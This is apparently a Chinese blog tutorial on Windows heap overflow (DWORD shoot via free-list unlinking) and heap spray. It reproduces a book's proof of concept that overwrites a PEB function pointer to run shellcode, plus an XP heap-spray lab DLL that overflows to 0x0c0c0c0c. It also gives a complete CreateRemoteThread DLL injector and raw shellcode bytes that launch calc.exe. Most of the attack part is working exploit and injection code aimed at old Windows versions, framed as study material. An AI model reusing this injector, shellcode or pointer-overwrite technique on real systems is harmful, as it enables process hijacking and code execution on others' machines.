天天看點

堆溢出,堆噴射簡介堆簡介Heap spray

堆簡介

堆上配置設定記憶體,就是比如malloc,就是從堆上把這塊記憶體的連結清單,摘下來共我們使用。堆上自己是按桶的結構進行管理(一個hash表),從2^1,2^2,2^3,2^4.....,如果申請一個50位元組記憶體,就從,2^6配置設定,64-50=14,有14個記憶體碎片。我們申請記憶體就是從這個記憶體表中把某一個節點從這個雙向連結清單中摘掉。即

Node->bp->fp=Node->fp;
Node->fp->bp=Node->bp;
           
堆溢出,堆噴射簡介堆簡介Heap spray

就是往堆記憶體,中data拷資料,多考了位元組,将,下個節點的fp,bp覆寫了,如果把bp覆寫成任意位址,fp覆寫成任意資料。再一次調用malloc時,發生

Node->bp->fp=Node->fp
((Node->where)+0x0)=Node->what//fp在Node中的偏移是0,即Node繞過了前8個自己,直接指向fp
Node->fp->bp=Node->bp
(Node->what+0x4)=Node->where
           

堆溢出常用場景:

DWORD SHOOT

  • 記憶體變量
  • 代碼邏輯
  • 傳回位址
  • SEH
  • PEB
  • 函數指針(C++虛函數指針)

堆溢出例子

如Peb中有個位址0x7ffdf020是一個函數指針,指向RtlEnterCriticalSection()(77F89103),然後将其替換成shellcode代碼最後一行。,然後執行時候就會執行我們的shellcode。

隻是寫進去,什麼時候執行shellcode,完全取決于什麼時候調用這個覆寫前的函數。

/*****************************************************************************
      To be the apostrophe which changed "Impossible" into "I'm possible"!
		
POC code of chapter 6.4 in book "Vulnerability Exploit and Analysis Technique"
 
file name	: heap_PEB.c
author		: failwest  
date		: 2007.04.04

description	: demo show of heap overrun, shellcode was executed
			  function pointer of RtlEnterCriticalSection was changed in PEB
			  via DWORD shooting
			  Some address may need to reset via run time debugging

Noticed		:	1 only run on windows 2000
				2 complied with VC 6.0
				3 build into release version
				4 used for run time debugging
version		: 1.0
E-mail		: [email protected]
		
	Only for educational purposes    enjoy the fun from exploiting :)
******************************************************************************/

#include <windows.h>
#include <stdio.h>
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90
*/

/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/


char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run,
//進入shellcode後恢複為RtlEnterCriticalSection(),即複原
//*(int *)(0x7ffdf020)的原來值為77F89103
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x03\x91\xF8\x77"  //MOV EBX,77F89103 the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"//messagebox()
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x30\x70\x40\x00\x20\xf0\xfd\x7f";//shellcode(0x00407030what)-->RtlEnterCriticalSection()(0x7ffdf020where)
//0x00407030 is the address of shellcode in first heap block, you have to make sure this address via debug 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	printf("%p,%p\n",*(int *)(0x7ffdf020),shellcode);//獲得需要寫死的地方
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}
           

peb溢出這個例子,他把0x7ffdf020改寫成自己shellcode位址是發生在memcpy記憶體拷貝的時候,拷貝超過了正常200,然後就溢出到下個節點的bpfp,然後下行代碼HeapAlloc(hp,HEAP_ZERO_MEMORY,8,就産生了溢出。

Heap spray

在棧上傳回位址設定成堆上的位址,然後将shellcode放到堆上。

堆溢出,堆噴射簡介堆簡介Heap spray

設定shellcode一堆0x90,為了提高命中率,0x90是nop,也不影響shellcode。設定成0x0c0c0c0c按一個位元組對稱,原因是溢出時,燃料不一樣。傳回位址不固定,長度會影響,是以會錯位,是以用對稱不會受錯位影響。

然後在xp sp3上實驗堆噴射,使用ie浏覽器構造堆噴的情況,然後寫dll在拷貝時候發生将函數傳回位址覆寫到0x0c0c0c0c,然後跳轉到0x0c0c0c0c,然後執行shellcode,彈出電腦,再xp上用vc6.0,勁量不要用vs,另外自己寫的shellcode不溢出,使用函數指針指向shellcode執行時候卻能跑起來,不知道什麼問題,留給以後又提高了解決吧。下面粘貼上dll,注入dll,網頁的代碼。

dll代碼 

#include "stdafx.h"
#include "heapSpray1.h"
#include <tchar.h>
unsigned char flow[50] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c";

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			MessageBox(NULL, _T("123"), _T("123"), MB_OK);
			fnHeapSpray1();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }
    return TRUE;
}


// This is an example of an exported variable
HEAPSPRAY1_API int nHeapSpray1=0;

// This is an example of an exported function.
HEAPSPRAY1_API int fnHeapSpray1(void)
{
		char temp[26];
	__asm {
		mov eax, eax;
		mov eax, eax;
		mov eax, eax;

	}
	strcpy(temp, (char*)flow);

	return 2;
	return 42;
}

// This is the constructor of a class that has been exported.
// see heapSpray1.h for the class definition
CHeapSpray1::CHeapSpray1()
{ 
	return; 
}

           

注入器的關鍵代碼

BOOL  EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk = FALSE;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) //Get Token
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))//Get Luid
			printf("Can't lookup privilege value.\n");
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//這一句很關鍵,修改其屬性為SE_PRIVILEGE_ENABLED
		if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))//Adjust Token
			printf("Can't adjust privilege value.\n");
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return fOk;
}





BOOL LoadDll(DWORD dwProcessID, char *szDllPathName) {//第一個參數程序ID,加載dll的完整路徑




	EnableDebugPrivilege();
	BOOL bRet;

	HANDLE hProcess;

	HANDLE hThread;

	DWORD dwLength;

	DWORD dwLoadAddr;

	LPVOID lpAllocAddr;

	DWORD dwThreadID;

	HMODULE hModule;

	bRet = 0;

	dwLoadAddr = 0;

	hProcess = 0;

	//1.擷取程序句柄
	//PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);

	int a = GetLastError();

	CString STemp;
	STemp.Format(_T("%d"), a);

	if (hProcess == NULL) {

		MessageBox(NULL, STemp, _T("OpenProcess Error"), MB_OK);
		return FALSE;

	}

	//2. 計算DLL路徑名字長度,并且要加上0結尾的長度

	dwLength = strlen(szDllPathName) + 1;

	//3. 在目标程序配置設定記憶體

	lpAllocAddr = VirtualAllocEx(hProcess, NULL, dwLength, MEM_COMMIT, PAGE_READWRITE);

	if (lpAllocAddr == NULL) {
		MessageBox(NULL, _T("inject explore"), _T("VirtualAllocEx Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//4.拷貝DLL路徑名字到目标程序的記憶體

	bRet = WriteProcessMemory(hProcess, lpAllocAddr, szDllPathName, dwLength, NULL);

	if (!bRet) {
		MessageBox(NULL, _T("inject explore"), _T("WriteProcessMemory Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//5.因為Kernel32,大家都有,是以從自己程序這擷取就行,是以這步是擷取子產品位址

	hModule = GetModuleHandle("kernel32.dll");

	if (!hModule) {

		MessageBox(NULL, _T("inject explore"), _T("GetModuleHandle Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//6.擷取LoadLibraryA函數位址

	dwLoadAddr = (DWORD)GetProcAddress(hModule, "LoadLibraryA");

	if (!dwLoadAddr) {
		MessageBox(NULL, _T("inject explore"), _T("GetProcAddress Error!\n"), MB_OK);
		CloseHandle(hProcess);

		return FALSE;

	}

	//7. 建立遠端線程,加載Dll

	hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr, lpAllocAddr, 0, NULL);
	int a1 = GetLastError();

	CString STemp1;
	STemp1.Format(_T("%d"), a1);


	if (!hThread) {
		MessageBox(NULL, STemp1, _T("CreateRemoteThread Error!\n"), MB_OK);
		CloseHandle(hProcess);

		CloseHandle(hModule);

		return FALSE;

	}

	//8.關閉句柄

	CloseHandle(hProcess);

	return TRUE;

}



//................mfc的代碼

//下面是調用


void CZhuruqiDlg::OnOK() 
{
	// TODO: Add extra validation here
	UpdateData(TRUE);
	int mpid= _ttoi(m_PID);
	LoadDll(mpid, "C:\\test1\\heapSpray1.dll");
	CDialog::OnOK();
}
           

下面是正常的shellcode機器碼,和我自己不正常的機器碼

//正常
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"  //loadlibrary位址
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65"
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函數位址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);


//自己不正常的
"\x8B\xE5" //MOV ESP, EBP
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh address of loadlibrary
"\xFF\xD0" //call eax
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h address of system
"\xFF\xD0" //call eax
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah address of exitprocess
"\xFF\xD0"//call eax
           

繼續閱讀